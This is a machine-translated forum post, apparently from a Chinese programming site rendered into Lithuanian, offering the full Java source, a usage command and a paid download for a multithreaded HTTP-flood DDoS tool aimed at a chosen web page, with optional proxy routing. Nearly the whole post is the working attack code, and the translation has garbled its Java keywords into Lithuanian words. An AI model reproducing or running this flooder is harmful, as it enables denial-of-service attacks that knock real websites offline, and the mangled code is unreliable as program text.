Šis straipsnis yra veidrodinis mašininio vertimo straipsnis, spauskite čia norėdami pereiti prie originalaus straipsnio.

Rodinys: 15524|Atsakyti: 0

[Patarimai] D-DOS užpuoliko programos "Java" versija

[Kopijuoti nuorodą]
Paskelbta 2014-12-01 15:21:57 | | |
stiklainio kodas
dDOS ataka įgyvendinta java.
Tačiau jis niekuo nesiskiria nuo tradicinių dDo.
Ši programinė įranga yra DDOS ataka prieš puslapį.
Kaip naudoti:
java -jar ccddos.jar www.xxx.com 80 10 /index.do vartotojo vardas=xxx 80

[mw_shl_code=java,true]importuoti java.io.IOException;
importuoti java.net.ConnectException;
importuoti java.net.InetSocketAddress;
importuoti java.nio.ByteBuffer;
importuoti java.nio.channels.SelectionKey;
importuoti java.nio.channels.Selector;
importuoti java.nio.channels.SocketChannel;
importuoti java.util.Iterator;
importuoti java.util.Random;
importuoti java.util.Set;
importuoti java.util.Timer;
importuoti java.util.TimerTask;
importuoti java.util.Vector;

/**
* Demonų siūlai
*
* @author administravimas
*
*/
Viešosios klasės testas {
    privatus styginių šeimininkas, uri, param;
    privatus tarptautinis uostas;
    privatus galutinis vektorius<CCDDOSThread> v = naujas vektorius <CCDDOSThread>();
    privatus InetSocketAddress isa;
    private int threadsCount = 500; Siūlų skaičius
    privatus Atsitiktinis r = naujas Atsitiktinis();
    privatus ilgas laikas = 5000l;

    /**
     * Atidarykite ataką
     */
    viešas void start() {
        for (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = naujas CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Laikmatis t = naujas laikmatis ();
        t.schedule(naujas TimerTask() {
            viešas void run() {
                int skaičius = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = nulinis;
                        skaičius++;
                    } else if (ct - th.start > timeout) {
                        Skirtasis laikas, išorinė pabaiga
                        skirtasis laikas++;
                        th.setCancle(tiesa);
                        th.interrupt();
                        it.remove();
                        th = nulinis;
                        skaičius++;
                    }
                }
                if (skaičius == 0) {
                    grįžti;
                }
                System.out.println("Gija uždaryta:"+count+", kur prijungta skirtojo laiko gija:"
                        + skirtasis laikas);
                for (int i = 0; Aš < skaičiuoti; i++) {
                    CCDDOSThread th = naujas CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("Demonų gija prasidėjo:");
    }

    /**
     * @param argumentai
     */
    public static void main(String[] args) {
        if (args.length < 6) {
            System.out.println("Instrukcijos:");
            Sistema.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } else if (args.length >= 8) {
            Nustatymas su agentu
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", argumentai[7]);
        }

        bandymas m = naujas bandymas ();
        m.host = argumentai[0];
        m.port = Integer.valueOf(argumentai[1]);
        m.uri = argumentai[3];
        m.param = argumentai[4];
        m.threadsCount = Integer.valueOf(argumentai[2]);
        m.timeout = Long.valueOf(argumentai[5]);
        m.isa = naujas InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Atakos gijos
     *
     * @author Zhanghongbo
     *
     */
    klasė CCDDOSThread pratęsia Thread {
        privatus Bulio kanklis = klaidingas;
        viešas ilgas paleidimas = System.currentTimeMillis();

        public void setCancle(Būlio kancle) {
            this.cancle = kancle;
        }

        viešasis loginis isCancle() {
            grąžinti kancle;
        }

        viešas void run() {
            ilga pradžia = System.currentTimeMillis();
            Selektoriaus parinkiklis;
            pabandykite {
                selektorius = Selector.open();
                SocketChannel sc;
                pabandykite {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = tiesa;
                    selector.close();
                    grįžti;
                }

                sc.configureBlocking(klaidingas);
                sc.register(selektorius, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                palaukite: kol (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - pradžia > skirtasis laikas) {
                        cancle = tiesa;
                        pertrauka laukti;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iteratorius<?> it = readykey.iterator();
                    o (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - pradžia > skirtasis laikas) {
                            cancle = tiesa;
                            pertrauka laukti;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Stygos galvutė = "GET " + uri + "?" + parametras
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Ryšys:uždaryti\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } laimikis (IOException ex) {
                cancle = tiesa;
            }
        }
    }
}
[/mw_shl_code]

Gatavo produkto ir šaltinio kodo atsisiuntimas: java ddos.zip (8.42 KB, Atsisiuntimų skaičius: 0, Pardavimo kaina: 2 Grūdai MB)





Ankstesnis:Pakalbėkime apie didžiausią 400G paslaptingą DDoS ataką istorijoje
Kitą:Siųsti iPhone 6 kalbėti apie artefaktų įtrūkimo taškų nemokamai versija
Atsakomybės apribojimas:
Visa programinė įranga, programavimo medžiaga ar straipsniai, kuriuos skelbia Code Farmer Network, yra skirti tik mokymosi ir mokslinių tyrimų tikslams; Aukščiau nurodytas turinys negali būti naudojamas komerciniais ar neteisėtais tikslais, priešingu atveju vartotojai prisiima visas pasekmes. Šioje svetainėje pateikiama informacija gaunama iš interneto, o ginčai dėl autorių teisių neturi nieko bendra su šia svetaine. Turite visiškai ištrinti aukščiau pateiktą turinį iš savo kompiuterio per 24 valandas nuo atsisiuntimo. Jei jums patinka programa, palaikykite autentišką programinę įrangą, įsigykite registraciją ir gaukite geresnes autentiškas paslaugas. Jei yra kokių nors pažeidimų, susisiekite su mumis el. paštu.

Mail To:help@itsvse.com